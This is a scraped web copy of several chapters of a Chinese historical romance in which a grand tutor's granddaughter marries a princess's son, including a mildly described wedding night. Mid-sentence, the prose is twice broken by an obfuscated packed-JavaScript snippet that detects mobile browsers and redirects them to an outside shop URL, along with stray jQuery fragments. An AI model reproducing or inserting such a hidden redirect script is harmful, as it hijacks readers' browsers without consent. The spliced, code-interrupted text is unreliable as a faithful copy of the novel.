燕培风和太子不只是君臣,更是兄弟。燕培风直说选择沈云楹的理由。 身后添茶的谷东动作一滞,他难道做错了事?他是故意在燕培风面前提起沈云楹的家世来历,想让自家主子有个印象,外边贵女很多。没想到主子一下就看中了沈三姑娘。还是因为这么个理由?! “太子在月影湖引来一群花蝴蝶,你不觉得吵闹?”燕培风问得真心实意,他就是不想和聒噪的女子相伴,才下意识选择最喜清静的沈云楹。 沈云楹能躲到桃林清静度过赏花宴,那么等到成亲后,也能在后院不闹腾,安安静静的,不给他添麻烦。 如此,沈云楹就能达到燕培风对婚事的预期。 太子摇头失笑,“你小时候也没这么正经啊?怎么能这么说姑娘家呢?下几盘棋就能打发了。” 太子温文尔雅,棋盘上对示好的京城闺秀毫不手软,输了的女子自然就会羞而败走。 再说,看在她们父兄的份上,太子不会和燕培风一样,面如寒冰,严词拒绝,还嫌弃人吵闹。 燕培风神色不变,初入朝堂,他满心满眼都是政事,想早点建功立业、施展抱负。燕培风对后院女子的理解,一个来自她母亲嘉荣长公主,和丈夫琴瑟和鸣,身子骨有点弱,不能同时照顾丈夫和儿子。另一个就是来自后宫,争奇斗艳。 在燕培风看来,后院只要不拖后腿,就是合格的。 太子见燕培风露出嫌弃的眼神,忽然来了兴致,只等着燕培风成亲,看看会不会有变化。 圣旨定下亲事,礼部催办,嫁妆逐渐备齐,这些外物有人帮着筹备,可是规矩两个字,只能沈云楹自己承受了。 那日太师发话,老夫人应承教导沈云楹,当天晚上便派李嬷嬷来晏居苑,让沈云楹上午去嘉禾院跟着大夫人温氏学习管家理事,下午来慈晖院向老夫人学习出门交际。 另外,李嬷嬷会暂时调到晏居苑,负责随时提点沈云楹。 这一天天的,沈云楹只觉得自己就跟皮影戏中的小人,手脚都被绑上线,任由人摆弄。行走坐卧,皆不得自由。 一个月过去,沈云楹已经瘦了一圈,她每日忙的脚不沾地,老夫人和大夫人不是蒋文笙,教导沈云楹的时候严肃又严格,今日教导的东西明日就提问考核一遍。 沈云楹根本不敢放松。 难得有一日休沐,沈云楹飞快就跑到静远斋,她感觉老夫人不是在教她嫁人后怎么当妻子,而是雕琢一件木偶。 她从来没有这么严格的过日子。 沈云楹恨不得明天就嫁人! 沈云楹在备嫁,沈云蔓也抓紧时间和章兴宇相处,隔几日就相见谈论诗词、品鉴书画,昨日还约去灵城寺上香。 沈云蔓缓缓勾起嘴角,从灵城寺回来,她觉得时机差不多,暗示章兴宇提亲的事。 沈家姐妹三个,大姑娘病重暂且不提,沈云楹都要成亲了,沈云蔓作为姐姐,不能差太远。章兴宇觉得很有道理。 果然如沈云蔓预料的那般,章兴宇想到这段日子有沈云蔓相伴,她言笑晏晏的样子,只觉心头火热,他想娶沈云蔓为妻,今后两人一定夫妻恩爱,琴瑟和鸣。 当天晚上,章兴宇就去主院找永安侯和永安侯夫人,“父亲,母亲,我喜欢沈家二姑娘。还望父母成全。” 章兴宇还是很有信心的,他父母一定会答应。永安侯府和太师府本来就想联姻,他与沈云蔓两情相悦,乃是大好事。 然而,永安侯夫妻对视一眼,他们知道儿子与沈二姑娘经常出门游玩。只是还想摆一摆架子,因为永安侯夫人心里很不满沈云蔓拿她儿子当后路。 宫中赏花宴上,沈云蔓的表现,永安侯夫人稍微打听就知道沈云蔓的心思,一边攀高枝儿一边章兴宇往来。 永安侯夫人冷哼一声,那二夫人王氏说皇后下帖子点名要去,沈云蔓不好怠慢,再者两家并未真正定下亲事,沈云蔓没有借口推脱。 话说的都对,但是永安侯夫人心里就是不舒坦! “兴宇,太师府正忙着筹办她们家三姑娘和燕培风的亲事,哪里能抽出功夫料理别的?我早就说过,和沈家结亲是不会变的,只是要再缓缓,过阵子再提。你们要是感情好,多等会儿不碍事。” 永安侯夫人就想吊一吊沈云蔓的胃口。她察觉得出,章兴宇对沈云蔓明显比沈云芝上心。 还有一层不快,永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈云楹眸光一动,两块玉佩并未雕刻图案,在玉佩原有的纹路上加以修饰,显得古朴大气。青白玉如秋日寒潭,细腻纯净,给人清冷之感。蓝天暖玉,在阳光的映照下泛着暖光。 一块冰凉生寒,一块触手生温。 “燕大人有心了,这样的玉佩,外头都可以当传家宝。”银屏眼力好,一下就看出这两块玉佩不凡,脸上就笑开了花。 燕培风送重礼,说明重视自家姑娘。 银屏为沈云楹高兴。 沈云楹也很喜欢这两块玉佩,立刻吩咐:“去打两个络子,明儿就戴青白玉,大热天的,凉快些。” 六月初七晚上,蒋文笙和沈云楹母女同塌而眠。 烛光飘动,房间弥漫着不舍,沈云楹抱着蒋文笙的胳膊,她舍不得晏居苑的日子,舍不得离开母亲。 蒋文笙拿出一本春宫册子,嘱咐道:“这是娘压箱底的册子。从你外祖母那儿传过来的,今晚我就送到你手里。今晚你好好看看。” 沈云楹接过,低头一瞧,双眸不禁睁大,“这,娘,就这么看?您不给讲解一二?” 她匆匆扫过,全是图,没有字啊。全靠自己领悟? 蒋文笙没好气地瞪一眼自己女儿,“你只管看,不懂的,不会留到明晚问你夫君?” “这也是重要的一环。若是榻上不和谐,很影响夫妻感情的。” 沈云楹一噎,脸颊通红。 “他又不是没有册子,你们正好交流一番,不就水到渠成了?”蒋文笙捂嘴笑道:“你不用害羞,人伦纲常,男女这点事,没什么大不了的。最要紧的是,要让你觉得舒服。” 沈云楹点头受教。 11. 第 11 章 六月初八,皓日当空。 沈云楹卯时便被唤醒,梳洗打扮,银屏银筝取来大红嫁衣,沈云楹原就长得妩媚丰腴,最适合浓妆艳抹的装扮,等凤冠霞帔上身,更是娇艳无双。 当世的习俗,前一日祭告祖宗、拜别长辈,新婚当日新娘需待在闺房待嫁。送嫁的长辈就亲自来闺房送别。 老夫人领着大夫人温氏、二夫人王氏来到晏居苑,几位长辈依次嘱咐沈云楹做好沈家的女儿、燕家的媳妇,不能给太师府丢脸。 沈云楹敷衍地点头,“云楹知道。” 老夫人和二夫人不多留,大夫人则留下和蒋文笙说了些祝贺的好话,最后才道:“想必你们母女还有话要说,我这个做伯母的就不打扰了。” 大夫人笑呵呵地离开。 蒋文笙走到沈云楹身边,不舍地说:“刚刚银筝来报,燕家的迎亲队伍马上就到了。” “娘,要不你跟我一起去燕家?” 沈云楹真的舍不得离开母亲,见蒋文笙同样满脸不舍,她顾不得别的,直接脱口而出,蒋文笙跟着去燕家,她可以奉养! 蒋文笙却噗嗤笑了,“傻闺女,你想什么呢?” 沈云楹哼哼道:“百姓里就有寡妇随女儿出嫁的,女儿女婿一块奉她终老。” “太师府是普通百姓家吗?”蒋文笙板起脸,大喜的日子就不继续说女儿了。她朝后招招手,就有丫鬟送来托盘,上面正是三杯酒。 “这是你出生那年,我亲手埋下的女儿红。”蒋文笙举起一杯,嗓音柔和中带着期盼,“今日就给你践行壮胆,从此你便出嫁为妇,开始全新的生活了。” 沈云楹端起酒杯,一饮而尽。 剩下的另一杯酒,应当是给父亲沈风诚准备的。蒋文笙直接拿起仅余的酒杯,走到窗前,朝外洒去,“就当你爹喝了。” 沈云楹抬眸望着有些落寞的蒋文笙,正要说些宽慰的话。门口传来银筝的声音,“夫人,姑娘,姑爷作了一首催妆诗!” 银筝风风火火地冲进门,一脸兴奋,“姑娘,奴婢都背下来了。这就念给您听。” 蒋文笙收敛起别的思绪,笑道:“快念。” 沈云楹也竖起耳朵,燕培风是前科状元,文采斐然。催妆诗肯定好听。 “不知今夕是何夕,催促阳台近镜台。谁道芙蓉水中种?青铜镜里一枝开。”(注:出自贾岛《友人婚杨氏催妆》) 银筝的声音清脆中带着甜意,念诗的时候摇头晃脑,让人忍俊不禁。 蒋文笙满意道:“我女儿确实面若芙蓉,身姿绰约。” 沈云楹面色发红,“娘!” 门外忽然传来催促声,“三夫人,快到吉时,三姑娘该出门子咯!” 蒋文笙拉起沈云楹的右手,认真道:“不管燕家如何,娘都相信你能过好自己的日子。” 沈云楹郑重点头,“娘,我会的。” “公主府离得不远,我会常回来看你。” 蒋文笙笑着点头,心想哪有这么容易?嫁人之后,要面对的事情纷繁杂乱,回娘家都得挑日子。 沈云楹一步一步走出晏居苑大门,坐上花轿,往嘉荣长公主府而去。 皇上亲自发话,燕培风婚后依然居住在嘉荣长公主府,且一应规制不变。按例,嘉荣长公主逝世后,朝廷就可以收回长公主府。但嘉荣长公主一家三口常年居住在公主府,皇上疼爱外甥,不让燕培风搬家,准许他继续住。 沈云楹知道婚后要住公主府的时候,还暗暗惊叹,皇上对燕培风这个外甥真不错。沈云楹参照沈家对她和母亲,反而是皇家显得大方一点。 拜过堂,沈云楹安静的坐在新房等待。 她摸摸干瘪的肚子,除去进宫那天,就是今天吃的最少。早膳只用了一碗干混沌,现在天色都快黑了。 沈云楹轻轻动了动身体,被褥底下就有吃的。花生、红枣,桂圆,莲子,沈云楹一一分辨出来,这份寓意早生贵子的干果非常多,撒得连一丝缝隙都没有,也不知撒帐的是谁? 沈云楹偷偷摸出几颗花生,放到嘴里嚼碎,吃完又觉得口渴。 自家姑娘的动作没逃过银筝的眼睛,她晓得沈云楹饿狠了,公主府又没送吃食来,她忙去倒一杯茶送到沈云楹跟前,“姑娘,您喝口茶。” 沈云楹接过,茶水入喉,立即舒服许多。 “姑娘再等等,银屏去厨房了,很快就能回来。”银筝在屋里陪着沈云楹,银屏则到外面去熟悉新环境。 以银屏的稳重周到,一定会给姑娘备上宵夜。 银屏没辜负主仆二人的信任,没一会儿就端来一个食盒,里头是热腾腾的百合鸡丝粥、牛肉面和几样小菜。 沈云楹喝粥的时候,忽然想起她今天开始有一个丈夫了,就问:“燕培风在外头如何?什么时候到新房来?” 银屏道:“奴婢来时问了,前院人多,太子刚走,燕大人还在应酬。” 沈云楹瞬间安心,她可以慢慢吃。 一个时辰后,沈云楹开始昏昏欲睡,突然猛地一激灵,她听到银筝特别大声地喊:“奴婢见过姑爷!” 沈云楹半弯曲的身体立刻挺直,心口砰砰直跳。 “嗯。” 燕培风侧头看一眼一惊一乍的婢女,看在沈云楹的份上,没有出言责罚,径直大步走到沈云楹面前。 龙凤呈祥盖头掀起的时候,沈云楹的视线从昏暗到明亮,眼前的男子身形颀长,面如冠玉,高鼻薄唇,四目相对时微微一笑,通身艳俗的大红色依然遮掩不住他的儒雅之气。 沈云楹第一眼就流露出惊艳,燕培风温文雅致,她微微低下头,难怪被京城闺秀们评为金龟婿,皮相果然好。 嫁给燕培风的好处又多一条,起码不伤眼睛。沈云楹听老夫人说过,今科状元是农家子,因文风务实被陛下看中,长相也有些瑕疵,如若遇到有人用此奚落状元夫人,叫沈云楹莫要理会。 沈云楹当时还想,看来嫁探花比状元保险,丈夫的脸面也是妻子的脸面啊。 燕培风敛下眼眸,瞬间的惊诧并未泄露丝毫,他挥挥手,下人们纷纷离开,银屏和银筝看向自家姑娘,沈云楹轻轻点头,两人这才转身离去。 燕培风轻咳两声,面色严肃道:“沈云楹,我出入朝堂,不会分心思到后宅。这是我来后院的时间,你记住。” 他从袖中掏出一张纸,上面写着燕培风来后院的时间安排。 沈云楹下意识接过,脑子还有点懵,燕培风挡住了明亮的龙凤烛,沈云楹看不清他的神色。 燕培风温润的嗓音裹挟着冰冷,“你只要在后院安分守己,别闹腾。燕家后院就全由你做主,我不会插手。” 沈云楹迅速回神,眼神往那纸张上瞄一眼,初一十五,午时待一个时辰,晚上亥时至,卯时走。 再结合燕培风刚刚的话 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沈云楹愣了片刻,配合地抬手,摸索好一会儿,两人终于坦诚相对。 燕培风数次主动出击,终于在第三次的时候,勉强完成敦伦大事。 燕培风喘息逐渐粗重,神情又是不解又是不甘。沈云楹也不好受,额头面颊都浸出冷汗,身体下意识紧绷。 “放松一点,夫人。”燕培风俯身,低沉的嗓音就响在沈云楹耳畔。 沈云楹此时特别后悔没有让人提前收拾被褥底下的那堆红枣花生,害得她腹背受敌。沈云楹听话的缓缓放松,双手攀住燕培风的腰背。 她疼,也要让燕培风感受一下。 经过一番折腾,终于鸣金收兵。燕培风和沈云楹不约而同大松一口气,再次四目相对,两人纷纷闭眼,佯装睡了。 沈云楹闭着眼,迷迷糊糊地想,话本里都是骗人的! 她都尽力配合了,毫无愉悦感。母亲还说能享受! 前路黯淡,沈云楹只能庆幸燕培风回后院的时间少了。 翌日卯正,燕培风便睁眼起身,旁边的沈云楹依然在睡梦中。她累狠了,连燕培风的动静都没听到,更是忘记请安的时辰。 守在门外的银屏银筝却牢牢记着,沈云楹卯正就得起床。今日要拜见燕家祖父母,见见燕家范州本家的族人,再去小祠堂祭拜嘉荣长公主和驸马爷,最后还得进宫谢恩。 沈云楹上午的行程非常紧凑! 银屏深知沈云楹赖床的性子,掐着点进去喊人,第一天可不能给姑爷留下坏印象。 她刚推门,就瞧见燕培风已经穿着整齐坐在床前,眉头拧起,盯着沉睡中的沈云楹,一动不动。 这一幕看得银屏心头大跳。 “老爷,奴婢这就喊夫人起身。”银屏微微抬高声音,快步走到床边,就要去摇沈云楹的胳膊。 光是说话是喊不醒她家姑娘的,得动手摇晃一下。 然而下一刻,她的手就被挡住。 燕培风伸手阻在沈云楹白皙细嫩的胳膊面前,“你去喊热水,我要梳洗。”顿了顿,见眼前的丫鬟傻傻地站着不动,暗道沈云楹的丫鬟怎么都不大机灵,他又道:“过一刻钟再叫夫人起身。” “是,奴婢这就去。” 姑爷这是心疼沈云楹呢。 银屏低着头,嘴角勾起,忙转身退下。 12. 第 12 章 燕培风擦脸的时候,难得心不在焉,他擅观人。落下的床幔遮住彻夜长明的烛火,朦胧间燕培风看得分明,沈云楹不是皱眉就是紧咬嘴唇,未露出丝毫愉悦之色,最后还眼眶含泪,缓缓落到如瀑般的青丝中。 从未有过的挫败感。 燕培风侧头,他的新婚妻子依然沉睡,两侧脸颊泛着红晕,似乎不介怀昨夜之事。不知不觉间,燕培风又紧盯着沈云楹看。 意识到这一点,燕培风眉目一肃,抬脚快步走出正屋。 等燕培风的背影消失,银屏银筝忙冲进屋,一人唤醒沈云楹,一人浸湿热帕子。在那等待的一刻钟,两人就为沈云楹想好衣裳搭配和发髻装扮。 沈云楹听到银屏声音的时候,直接翻个身,拉上被子,迷糊道:“我的好银屏,你去拉着李嬷嬷。我马上就醒。” 银屏眨眨眼,提醒道:“姑娘,您睁眼看看,这是公主府,不是晏居苑。” 沈云楹猛地睁眼,反应过来,她昨天嫁人了。晏居苑需要瞒着李嬷嬷才能多睡一会儿懒觉,李嬷嬷可不会跟着她陪嫁。 沈云楹朝身侧看去,“燕—,夫君呢?”她赶紧改口。 银屏道:“老爷梳洗过就出去了。思齐说,老爷在外面等您一起去给老太爷和老夫人请安。”她又接着解释:“思齐是老爷的得力小厮。” 沈云楹点头,燕培风不在也好,昨夜匆忙又劳累,她不想一睁眼就看到燕培风的脸。 银屏银筝手艺娴熟,没一会儿就为沈云楹梳妆打扮,换上大红的新衣裙,下摆的石榴花马面裙层层折叠,整个人犹如一朵盛放的牡丹,娇艳欲滴。 因为起得迟一些,沈云楹匆匆用过早膳,就派人去叫燕培风,可以去拜见亲人了。 沈云楹刚踏出院门,就看到燕培风一身暗红色圆领长袍,给清冷矜贵君子增添上一丝烟火气。 沈云楹展颜一笑,“夫君。” 燕培风微微颔首,出声唤道:“夫人。” 这一幕落到下人眼中,就是新婚夫妻相敬如宾,和和睦睦。 银屏和银筝都暗暗欣喜,思齐低下头,他家主子终于娶妻了!男才女貌!思齐已经开始幻想小主子的样貌了,那绝对是就京城头一份! 燕家祖父母收到赐婚的消息,立刻从范州回京城,老人家赶路速度慢,回来的时候婚礼事宜都有皇上做主让人操办,两位老人家看得开,便直接住在燕家老宅,等到成亲这两日才住进长公主府。 范州本家燕家族人则直接安排住到老宅,今日一早才来到公主府。 因为燕家人少,燕祖父母就让燕培风夫妻一起见见族人。来的这一支族人,是和燕培风关系最亲近的。 一位族老,是燕祖父的堂兄。三个年轻公子和两个姑娘,都算是燕培风的堂弟堂妹。 荣茂堂正厅,燕祖父母坐在上首,族老和燕家公子姑娘坐在右侧。 燕培风和沈云楹相携而来,就像是从画中走出来的人,天造地设的一对。正厅仿佛一下就亮堂起来。 丫鬟送来两个蒲团。 燕培风和沈云楹跪下拜见亲长。 “孙儿拜见祖父、祖母。” “孙媳拜见祖父、祖母。” 又有丫鬟端来温热的茶盏,沈云楹回忆李嬷嬷的话,照着规矩敬茶,“请祖父喝茶。” 燕祖父终于等到孙儿成亲这一天,看到燕培风带着妻子来拜见,当即爽朗大笑两声,“好!好!佳儿佳妇。” 他伸手接过孙媳茶,吩咐送上早就准备好的见面礼。 沈云楹则示意银筝接下,她不经意看了一眼,呼吸停顿片刻,竟然是银票地契。她偷偷瞄一眼燕祖父,面容清瘦,像个教书老先生,和蒋文笙描述过中的外祖父很像。 没想到一出手竟全是黄白之物。完全出乎沈云楹的意料。 到了燕祖母这里,沈云楹再次恭敬地敬茶。 燕祖母和蔼可亲,比沈老夫人面善多了,苍老的眼眸透着沉静温柔。她喝过茶,就直接从手腕中褪下一支翡翠碧玉镯,拉起沈云楹的手,亲自给她戴上。 “云楹,这是咱们燕家祖传的镯子,本该公主亲自给你,可惜她没看到这一天。”燕祖母眼中的可惜很快收敛,欣慰地看着燕培风和沈云楹,“培风,云楹,咱们燕家人少,你们要彼此扶持,相伴一生。” 燕培风心里觉得一个女人就够了,一只鸭子吵闹还有限。要是弄回来一群鸭子,那他就不用回府了。 他正经严肃道:“孙儿知道。” 沈云楹也跟着表态:“孙媳谨记祖母教诲。” 燕祖母很满意沈云楹这个孙媳,一看就有福气,燕家到孙子辈,应该能打破单传的传统了吧?想到此,燕祖母笑容愈发真挚,“我一见你就知道你是个好孩子,培风性子闷,不懂女儿家的心思,你多担待些。要是他敢欺负你,你就写信来范州。虽然我和你祖父过几天就回范州,但再来一趟也不碍事!” 沈云楹忙羞涩低头,燕培风说道:“祖父祖母放心,孙儿不会扰你们清静。” 这番话惹得燕祖父和燕祖母又是欣喜不已,孙子还会护媳妇儿了。 接着就是认识几位来自范州的族人,沈云楹让银筝送去见面礼,一通介绍,沈云楹勉强记住他们的名字。 从荣茂堂出来,燕培风沉默着领沈云楹去小祠堂。这里只有嘉荣长公主夫妻的牌位。 沈云楹不着痕迹看一眼燕培风,他俊美的脸庞溢出一抹笑意,在牌位前驻足。此刻,沈云楹觉得燕培风看牌位的眼神都比看她温柔似水。 “过来,祭拜我父母。”燕培风率先拈香,沈云楹照做。 燕培风想起母亲病重之时,曾拉着他的手嘱咐,以后带新妇来上香时,要跟她多说说儿媳的容貌品性,她好放心。 燕培风双手举香,张嘴欲说,一句话咀嚼几次,才缓缓说出:“让您儿媳说。” 燕培风昨夜才第一次见沈云楹,总不能跟母亲说她儿媳貌美牡丹,肤如羊脂,是个美人? 至于沈云楹的品性,燕培风想他要是说喜静,嘉荣长公主肯定会生气。于是他决定讨个巧,温和低沉地嘱咐沈云楹:“你今日第一次见父亲母亲,跟他们说说话吧。” 燕培风有些不自在,把自己的任务推到新婚妻子身上,不是君子所为。只是他掩饰的快,沈云楹压根没发现他神色的变化。 沈云楹觉得有理,便轻咳两声,“父亲、母亲,儿媳沈云楹,出身太师府,我祖父是沈晕年,父亲是沈风诚,母亲蒋文笙。” 说完家世,沈云楹回忆起沈老夫人的话,改几个字就照搬过来,徐徐说道:“请父亲母亲放心,我会打理家事,照顾夫君,让燕家枝繁叶茂。” 是不是我生的就不一定了。沈云楹心里暗暗加上这句。她听蒋文笙说过,女子生子犹如过鬼门关,能不生就不生。她是正妻,世人最重礼法,养大庶子也没什么,今后为了仕途名声,也不敢对沈云楹不敬。 枝繁叶茂这四个字,随着女子软糯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734455|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音飘进燕培风耳中,他立时想起昨夜床榻之事,剑眉微拧,不做那种事,没法生儿育女。 他明白自家三代单传的难处,不管是祖父母,还是皇上皇后,都希望他早些有子嗣。燕培风静静地端详合眼上香的新婚妻子,眼底闪过一丝坚定。 见过燕家人,燕培风和沈云楹就马不停蹄进宫谢恩。 —— 皇宫,坤宁宫。 燕培风终于成亲,皇上喜得一夜没睡,第二天更是一大早就起来准备,龙袍都换了三件。 皇后不堪其扰,没好气道:“你洞房还是培风洞房?乐得你不知东西南北!” “当然是他了!我洞房,我还整夜不睡?就是我想,皇后你也撑不住啊!”皇上坦荡道,眼神还朝皇后看去。 皇后脸色一红,拍下梨花木梳子,嗔道:“一把年纪了,也不稳重些。” 皇上浑不在意,“这里就你我二人,怕甚?” 皇上在臣子面前要稳重端住,到了妻子儿女面前,他才懒得摆架子。 这时,汪公公扬声禀报:“皇上,皇后,燕大人和燕夫人求见。” “快快,叫他们进来。”皇上激动地起身,和皇后到正殿坐下,感慨地对皇后说:“朕终于等到这一天。” 沈云楹首次见帝后,心中有些忐忑,身体不由自主紧绷起来。燕培风温声提醒:“皇上和皇后都是和气之人,夫人不必紧张。” 沈云楹抬眸看他一眼,暗想对你和气,对我可就未必了。面上只微微点头,“夫君说的是,我知道了。” 等到见面之时,沈云楹不得不承认,皇上爱屋及乌,对她极其和气。 皇上面容丰润,神态舒朗,唇角一直上扬,见燕培风和沈云楹进来,双眸更是一亮,还不等燕培风和沈云楹跪下行礼,皇上就迫不及待喊:“快起来!诶呀,珠联璧合,好一对新人。” 皇上不好多打量沈云楹,人都没看到就开口夸:“沈家姑娘温柔娴雅,知书达理,见面礼朕要重重的给。” “皇后你看,今儿培风是不是更俊朗了些?果然呐,人就是得成家,有了媳妇,立即就春风得意起来。” 皇上指着燕培风调侃,皇后掩唇而笑,目光柔和地看着沈云楹,向她招招手,“云楹来,让本宫好好看看。” 沈云楹微微抬头,徐徐踏上台阶,幸好出嫁前沈家又狠狠给她补了一下进宫礼仪,沈云楹维持着优雅的步伐来到皇后面前。 “见过皇后娘娘。” 皇后仔细打量,心下惊叹,沈云楹生得一副好身段,好样貌,就似那盛世中牡丹,娇艳夺目。 她悄悄看一眼燕培风,难道燕培风早就看中沈云楹,那日真的不是随意指的姑娘? 皇后本来很笃定燕培风是随便一指,但先有太子不信,又有亲眼见到沈云楹的容貌性情,她又有些不确定了。 “不必多礼,培风唤我一声舅母,你今后也这么叫我吧。”皇后的视线在燕培风和沈云楹之间打量,让沈云楹用家礼称呼。 沈云楹转头去看燕培风,她没有应对经验啊! 接收到沈云楹求助的目光,燕培风上前几步,和沈云楹对面而立,“听舅母的就是。舅舅和舅母对我甚好。” 皇上大乐,挥手送出一堆赏赐,又夸一通沈云楹,最后叮嘱燕培风好好过日子。 等从坤宁宫出来,沈云楹只觉巍峨厚重的宫墙都轻了几分。 万万没想到,皇上话又多又密,比蒋文笙嘱咐的都多! 13. 第 13 章 回到公主府,沈云楹脱力地靠在矮榻上,银筝用美人锤轻轻地给沈云楹按摩敲打,疏散筋骨。 这一天真是累坏了。沈云楹这辈子最辛苦难熬的时候还是出嫁前被沈老夫人和大夫人温氏教导规矩,起得比鸡早睡得比狗晚,还得学会一堆东西。 现在嫁过来第一天,居然也这么累。 银筝摇着美人锤碰到沈云楹大腿上面,沈云楹一个惊呼,忙阻止银筝的动作。银筝一时没转过弯儿来,还连连说:“奴婢轻一点。” 沈云楹摆手,“别敲了,今天这么累,按摩不起作用。” 银筝安慰:“只有今日而已,明天回门,能回太师府见三夫人。夫人定不会觉得劳累了。” 想到能回去看蒋文笙,沈云楹脸上就浮起笑意,“谁还嫌回家累啊。这时候静远斋该做荷叶羹了,不知道明天回去能不能吃到。” 银筝跟着笑,“三夫人知道您爱吃,一准备着。” “真希望眼睛一睁一闭就是明日一早。”沈云楹低声期盼。 银筝还没回话,外头就传来银屏的声音,“夫人,午膳来了。”她满脸堆笑地进屋,语气激动,“是老夫人专程嘱咐厨房多做些好意头的膳食,说老爷和夫人新婚燕尔,要吃些合适的。” “刚刚厨房来问夫人的口味,奴婢说今日做些酸甜口,滋补的东西,给夫人开胃补气。” 银屏边说边笑,燕家祖父母的和善完全出乎意料,让银屏心安不少,想着明日回沈家跟三夫人禀明燕家的情况,三夫人也会开心夫人来到一处好人家。 沈云楹一听能用午膳,当即来了精神,“快传膳。” 喜滋滋来到饭厅,沈云楹脚步一顿,燕培风换了一身深蓝色的松鹤常服,坐在桌前,上半身依然挺拔如松,沈云楹嘴角勾起,客气道:“夫君,你也来用膳啊。” 燕培风轻轻嗯一声,侧头见沈云楹云鬓微松,自带一股慵懒风情,他立时回神,沉声道:“传膳。” 送食盒的下人鱼贯而入,井然有序地摆桌。 沈云楹的心思一下就转到菜式上,径直走到燕培风对面坐下。 这顿午膳不愧是燕祖母指导出来的,老人家就是相信这些能给孩子们带来福气。 第一道是并蒂莲双色饮子,一壶装着两味水,寓意珠联璧合。里面分别是洛神山楂饮,杏花杏仁露。前者酸爽开胃,后者温润养颜,宁心安神。 接着是比翼连理鳕鱼,鱼肉被小火煎至金黄,配以金黄色的酱汁。送上来时还带着清甜的蜂蜜味。 梅子排骨,用小肋骨焯水后,与话梅、冰糖、陈醋慢火煨至骨酥肉烂,收汁亮红。 荷塘小炒,用百合、莲藕、鲜核桃、荷兰豆和彩椒混炒,摆盘成花与月,正是花好月圆之意。 翡翠虾仁,寓意夫妻琴瑟和鸣。这道菜白绿相间,清雅动人。一看就是清流人家喜爱的菜式。 最后一道是金玉满堂汤,也是花胶椰子鸡汤。根据银屏打听来的消息,这椰子还是琼州那边送来的贡品,宫里送来给燕培风尝鲜的,就连菜谱也是琼州送过来的。 燕培风和沈云楹都不习惯让人布菜。饭桌上的两人对桌而食,动作眉眼间却全无亲近之意。 沈云楹很饿,只想填饱肚子。燕培风则按照计划,和新婚妻子相敬如宾的相处着,正所谓食不言寝不语,饭桌上只有羹勺轻响的声音。 饭毕,燕培风站起身,立在窗前。 燕培风娶妻之前,还曾担心沈云楹满心欢喜嫁过来,承受不住被冷落,会惶恐哭泣,或是百般讨好自己。 现在沈云楹面色如常,就刚刚吃饭的利索样,不难猜沈云楹的心情。燕培风不着痕迹点头,这个沈云楹娶的没错。 他声音清冷,留话道:“我去书房,夫人自便即可。” 说完,人走头也不回地走了。 沈云楹微笑着道:“夫君慢走。” 人都没起身,眼神还盯着翡翠虾仁。公主府的厨子手艺比静远斋的还好,那还是蒋文笙从酒楼挖来的大厨,没签卖身契的,只是签了雇佣约。 银屏暗自叹气,夫人你倒是起身送一送啊!虾仁什么时候都能吃! 沈云楹可不知道丫鬟的心思,夹起最后一块虾仁,她才心满意足地放下筷子。 这顿饭是酸甜口为主,是银屏按照她的口味吩咐厨房做的,刚刚燕培风只夹了甜口的菜,汤倒是喝了不少。这顿应该不符合燕培风的胃口。 沈云楹看出来了,但她无所谓,这不是也能吃吗?这么多菜,她又吃不完,浪费可耻。燕培风分担一点,挺好。 吃饱饭困意就上来。 沈云楹吩咐:“银筝,去拿轻薄的寝衣,我要小睡一会儿。” 银屏跟在沈云楹身后,“夫人您忘了,银筝去花厅招待管事嬷嬷们了。” 沈云楹一怔,差点忘记还有这件事。这时,银筝刚好从外面进屋,催促道:“夫人,公主府有头有脸的下人都在花厅等着,您什么时候过去啊?” 沈云楹揉揉眼角,她已经困了,非常想睡午觉。但是,现在还得先见见公主府的下人。 当家主母的第一次亮相不能失了威严。沈云楹吸口气,本着辛苦一次,轻松后半辈子的念头,沈云楹喝口热茶,对银屏银筝挥挥手,“出去见见人吧。” “是!”银屏和银筝抬头挺胸,要摆出太师府的架子,可不能给自家姑娘丢脸! —— 沈云楹从太师府带来的陪嫁丫鬟都是蒋文笙精心准备的。除了银屏银筝两个大丫鬟,还有铜字辈的四个二等丫鬟,她们各有长处,分别管着茶水房、厨房、书房和账房。 早上沈云楹就已经吩咐四个二等丫鬟帮着整理从太师府带来的嫁妆,等晚上她只需要看个总揽即可。 沈家的省心,但燕家,沈云楹还陌生的很。 花厅里,为首的是大管家,燕培风叫他燕伯,沈云楹便决定跟着燕培风喊。 大管家身边是两个二等管事,一个负责库房,一个负责账房。 而女仆这边,则以燕培风的奶嬷嬷杨嬷嬷为主,她主管前院的事务,兼理后宅。后面一群仆妇,沈云楹便分不清了。 还有一排四个丫鬟,是在前院书房伺候的,特意过来拜见主母。 一看这么个安排,沈云楹眉峰一动,是杨嬷嬷做的?特意叫前院书房的,红袖添香的丫鬟来给她看看? 沈云楹步履款款,带着银屏银筝两个丫鬟进入花厅,端坐在上首。 大管家领头,先说了公主府的基本情况,又为沈云楹介绍花厅中的众人以及他们负责的事务。 沈云楹微微颔首,表示自己知道了。 初次打交道,沈云楹本意就是认认人,摆出自己的态度,敲打几句下人好好做事。现在人认全了,沈云楹就要吩咐银筝打赏。 忽然站在杨嬷嬷身后的一位仆妇向前走出一步,笑眯眯地请教:“启禀夫人,奴婢这里就有一件要紧事。已经拖了许久,只等着您点头。” 沈云楹深深看她一眼,刚刚大管家介绍,她姓花,管着府里下人们的进出。沈云楹微微一笑,柔声问:“花嬷嬷有什么要紧事?” 